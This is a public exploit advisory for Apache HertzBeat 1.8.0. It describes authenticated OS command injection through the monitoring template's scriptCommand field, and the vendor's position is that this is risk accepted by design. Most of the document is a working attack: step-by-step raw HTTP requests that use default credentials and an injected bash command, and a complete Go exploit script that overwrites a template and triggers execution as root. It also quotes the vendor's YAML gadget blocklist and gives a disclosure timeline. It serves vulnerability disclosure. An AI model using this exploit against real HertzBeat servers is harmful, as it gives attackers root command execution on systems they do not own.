# Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution # Google Dork: N/A # Date: 2026-03-09 # Exploit Author: Brett Gervasoni # Vendor Homepage: https://hertzbeat.apache.org/ # Software Link: https://github.com/apache/hertzbeat/releases # Version: 1.8.0 # Tested on: Linux (Docker; official HertzBeat image, uid=0 in container) # CVE: N/A ================================================================================ METADATA ================================================================================ Severity: CRITICAL Impact: Arbitrary command execution via monitoring template (script protocol) CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) Product: Apache HertzBeat — https://hertzbeat.apache.org/ (v1.8.0) Affected Component: ScriptCollectImpl.collect() Affected Endpoint: PUT /api/apps/define/yml Authentication: Required (standard user or admin) Note: Apache Security does not classify this as a vulnerability; see HertzBeat security model: https://hertzbeat.apache.org/docs/help/security_model/ ================================================================================ VULNERABILITY SUMMARY ================================================================================ HertzBeat allows arbitrary OS commands to be executed via the scriptCommand parameter in a monitoring template definition. An authenticated user can overwrite a monitoring template definition via PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job. When the YAML specifies protocol: script, the attacker-controlled scriptCommand string is passed to ProcessBuilder (bash -c "") without sanitization. If the overwritten template has active monitoring instances, updateAppCollectJob() re-dispatches them, triggering execution within seconds. If none exist, the attacker can create one via POST /api/monitor to trigger immediate execution. The default Docker deployment runs the process as root (uid=0). ================================================================================ VULNERABLE CODE (REFERENCE) ================================================================================ Sink — ScriptCollectImpl.java (approx. lines 74–114) — direct execution: public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) { ScriptProtocol scriptProtocol = metrics.getScript(); // ... if (StringUtils.hasText(scriptProtocol.getScriptCommand())) { switch (scriptProtocol.getScriptTool()) { case BASH -> processBuilder = new ProcessBuilder( BASH, BASH_C, scriptProtocol.getScriptCommand().trim()); // payload // ... } } // ... Process process = processBuilder.start(); // executed } YAML gadget blocking — AppController.java (approx. 55–59) — blocks SnakeYAML gadget strings, not shell command injection: private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"}; ================================================================================ PROOF OF CONCEPT — RAW HTTP ================================================================================ Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a standard user "operator" / "hertzbeat" (user role); admin with default password also works. --- Step 1: Authenticate --- POST /api/account/auth/form HTTP/1.1 Host: TARGET:1157 Content-Type: application/json {"type":1,"identifier":"operator","credential":"hertzbeat"} Response: data.token (JWT) — use as Bearer below. --- Step 2: Overwrite linux_script template --- PUT /api/apps/define/yml HTTP/1.1 Host: TARGET:1157 Authorization: Bearer Content-Type: application/json {"define":"app: linux_script\ncategory: os\nname:\n en-US: Linux Script\n zh-CN: Linux Script\nparams:\n - field: host\n name:\n en-US: Host\n zh-CN: Host\n type: host\n required: true\nmetrics:\n - name: basic\n i18n:\n en-US: Basic\n zh-CN: Basic\n priority: 0\n fields:\n - field: result\n type: 1\n i18n:\n en-US: Result\n zh-CN: Result\n protocol: script\n script:\n scriptTool: bash\n charset: UTF-8\n scriptCommand: id > /tmp/pwned\n parseType: multiRow\n"} Decoded define (YAML): app: linux_script category: os name: en-US: Linux Script zh-CN: Linux Script params: - field: host name: en-US: Host zh-CN: Host type: host required: true metrics: - name: basic i18n: en-US: Basic zh-CN: Basic priority: 0 fields: - field: result type: 1 i18n: en-US: Result zh-CN: Result protocol: script script: scriptTool: bash charset: UTF-8 scriptCommand: id > /tmp/pwned parseType: multiRow Expected response: HTTP/1.1 200 OK Content-Type: application/json {"code":0,"msg":null,"data":null} --- Step 3: Create monitor (if no linux_script monitors exist) --- POST /api/monitor HTTP/1.1 Host: TARGET:1157 Authorization: Bearer Content-Type: application/json {"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]} --- Step 4: Verify (example: Docker) --- docker exec hertzbeat cat /tmp/pwned Expected: uid=0(root) gid=0(root) groups=0(root) ================================================================================ EXPLOIT CODE — script_command_rce.go (Go) ================================================================================ package main import ( "bytes" "encoding/json" "fmt" "io" "math/rand" "net/http" "os" "strings" ) const target = "http://localhost:1157" type authResponse struct { Code int `json:"code"` Data struct { Token string `json:"token"` } `json:"data"` } type apiResponse struct { Code int `json:"code"` Msg string `json:"msg"` } func main() { if len(os.Args) < 2 { fmt.Fprintf(os.Stderr, "Usage: %s \n", os.Args[0]) fmt.Fprintf(os.Stderr, "Example: %s \"id > /tmp/pwned\"\n", os.Args[0]) os.Exit(1) } cmd := strings.Join(os.Args[1:], " ") fmt.Println("============================================================") fmt.Println(" HertzBeat ScriptCollectImpl RCE") fmt.Println("============================================================") fmt.Println() fmt.Println("[*] Authenticating...") token, err := authenticate() if err != nil { fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err) os.Exit(1) } fmt.Printf("[+] Got token: %s...\n\n", token[:40]) fmt.Println("[*] Overwriting linux_script template...") fmt.Printf(" PUT /api/apps/define/yml\n") fmt.Printf(" scriptCommand: %s\n", cmd) err = putMaliciousDefine(token, cmd) if err != nil { fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %v\n", err) os.Exit(1) } fmt.Println("[+] Template overwritten.") fmt.Println() fmt.Println("[*] Creating monitor instance to trigger collection...") fmt.Println(" POST /api/monitor with app: linux_script") err = createMonitor(token) if err != nil { fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %v\n", err) fmt.Println("[*] This may fail if a monitor already exists — checking anyway...") } else { fmt.Println("[+] Monitor created.") fmt.Println() } fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.") fmt.Printf("[+] Command: %s\n\n", cmd) fmt.Println("[*] Verify with (assuming its running in docker locally):") fmt.Println(" docker exec hertzbeat ") } func authenticate() (string, error) { body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}` resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body)) if err != nil { return "", err } defer resp.Body.Close() var result authResponse if err := json.NewDecoder(resp.Body).Decode(&result); err != nil { return "", err } if result.Code != 0 || result.Data.Token == "" { return "", fmt.Errorf("unexpected response code %d", result.Code) } return result.Data.Token, nil } func putMaliciousDefine(token, command string) error { define := fmt.Sprintf(`app: linux_script category: os name: en-US: Linux Script zh-CN: Linux Script params: - field: host name: en-US: Host zh-CN: Host type: host required: true metrics: - name: basic i18n: en-US: Basic zh-CN: Basic priority: 0 fields: - field: result type: 1 i18n: en-US: Result zh-CN: Result protocol: script script: scriptTool: bash charset: UTF-8 scriptCommand: "%s && echo result done" parseType: multiRow `, command) payload, _ := json.Marshal(map[string]string{"define": define}) req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload)) req.Header.Set("Content-Type", "application/json") req.Header.Set("Authorization", "Bearer "+token) resp, err := http.DefaultClient.Do(req) if err != nil { return err } defer resp.Body.Close() respBody, _ := io.ReadAll(resp.Body) var result apiResponse if err := json.Unmarshal(respBody, &result); err != nil { return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody)) } if result.Code != 0 { return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg) } return nil } func createMonitor(token string) error { suffix := randSuffix() name := fmt.Sprintf("rce-poc-%s", suffix) body := fmt.Sprintf(`{"monitor":{"name":"%s","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}`, name) req, _ := http.NewRequest("POST", target+"/api/monitor", bytes.NewBufferString(body)) req.Header.Set("Content-Type", "application/json") req.Header.Set("Authorization", "Bearer "+token) resp, err := http.DefaultClient.Do(req) if err != nil { return err } defer resp.Body.Close() respBody, _ := io.ReadAll(resp.Body) var result apiResponse if err := json.Unmarshal(respBody, &result); err != nil { return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody)) } if result.Code != 0 { return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg) } return nil } func randSuffix() string { const chars = "abcdefghijklmnopqrstuvwxyz0123456789" b := make([]byte, 8) for i := range b { b[i] = chars[rand.Intn(len(chars))] } return string(b) } ================================================================================ NOTES ================================================================================ - A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is not required for the described flow. - A new custom app name (e.g. app: rce_custom) can be registered with POST instead of PUT to avoid overwriting an existing definition; then create a monitor for that app. ================================================================================ DISCLOSURE / VENDOR RESPONSE (SUMMARY) ================================================================================ Apache Security indicated this aligns with the documented security model: only trusted operators should receive accounts; customization is intentional. Role-based permission controls are still evolving; see vendor documentation. Reporting timeline: - 2026-02-19: Reported to Apache Security - 2026-02-19 to 2026-03-04: Discussion on post-authentication issues - 2026-03-04: Apache position communicated (risk accepted per security model) - 2026-03-09: Public advisory